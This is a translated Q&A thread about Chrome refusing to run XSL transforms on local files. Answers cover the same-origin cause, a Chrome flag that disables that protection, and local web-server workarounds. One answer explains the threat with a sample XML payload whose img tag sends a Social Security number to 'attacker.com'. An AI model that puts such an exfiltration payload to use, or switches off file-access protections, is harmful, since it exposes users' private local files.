可以使Chrome对本地文件执行XSL转换吗？

Question 1

我正在研究xslt，并开始使用w3schools上的示例进行测试。

但是，当我将xml和xsl保存在文件中并尝试在本地打开它们时，chrome将不会执行xsl转换。它只是显示一个空白页。

我已经将<?xml-stylesheet type="text/xsl" href="style.xsl">标记添加到xml文档中，并且Firefox渲染了它应该看起来的样子。另外，如果我通过Web服务器查看文件，则chrome会以应有的外观显示文件。

当链接位于本地时，chrome是否在查找样式表信息时遇到问题？将href更改为file:///C:/xsl/style.xsl没有任何区别。

更新：这似乎是不将file：/// *视为相同来源的安全策略的副作用。这将导致以下错误出现在控制台中：

不安全的尝试从带有URL file：/// C：/xsl-rpg/data.xml的框架中加载URL file：/// C：/xsl-rpg/style.xsl。域，协议和端口必须匹配。

Question 2

简短的答案是“不，请使用其中多种多样的浏览器之一”。

这样做不起作用的原因是，Chrome已以有争议的方式^{[1] [2] [3] [4]}解决了安全问题，即阻止XML文件访问同一目录中的本地XSLT文件，而HTML文件可以访问同一目录中的.CSS文件。

在上述问题中，用户要求提供更清晰的错误消息（因为域，协议和端口实际上是匹配的），或者至少显示不带样式的XML。Chrome开发人员忽略了这些请求。

Question 3

您可以使用Chrome的命令行标志在本地执行此操作。

具体标志是 --allow-file-access-from-files

在OS X上：从Terminal.app运行 /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

在Windows上：从命令提示符运行 %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

注意：如果Chrome当前正在运行，则可能必须退出Chrome，否则Ch

Question 4

如果您要坚持使用OP，答案是“否”（正如其他人所指出的那样），但是解决此问题的一种方法是运行一个简单的网络服务器并通过chrome中的http打开文件。如果安装了python 2.x，则可以通过键入以下内容来运行网络服务器：

python -m SimpleHTTPServer

或者在python 3.x中：

python3 -m http.server

然后http://localhost:8000/yourfile.xml在chrome中使用打开文件。希望您只想完成工作，而不必使用file://

Question 5

在Chrome Bug页面上进行了一些解密-他们非常热衷于不解释问题的根源，以及为什么选择破坏所有人而不是不破坏所有人。

假设我的硬盘上某处有一个XML文件，例如：

C：\ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

一个恶意实体（某种程度上）设法将恶意Xml文件拖放到我的计算机上，例如：

C：\ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

想象一下TrojanVirusWorm.xml包含一个样式表处理指令（PI）：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

然后，攻击者指示我的浏览器导航到本地保存的trojanVirusWorm.xml文件。

显然，有一种方法可以使XML文件读取XSD文件的内容（而不是由XSD文件转换）：

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

我不明白XML文件如何读取样式表文件。但是Chrome团队向我们保证，这是一种危险，并且无法解决。

其他所有浏览器都解决了它。他们解决了它，因为这不是问题。

Question 6

我的解决方法是根据xsl文件查看xml

假设我们有一个带有标题的some_file.xml：

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>

我们下载文件https://some-site.com/Common.xsl并将其放置在some_file.xml
将标题的一部分从更改href="https://some-site.com/Common.xsl"为 href="http://localhost:8001/Common.xsl"
在包含我们文件的目录中运行- python3 -m http.server 8001
在任何浏览器中打开 http://localhost:8001/some_file.xml

Question 7

您可以通过更改浏览器设置来使Chrome呈现XSL文件。一种更安全的方法是通过本地Web服务器（例如Visual Studio Code Live服务器或Apache）访问它。有关步骤，请参见XSLT无法在本地文件上渲染。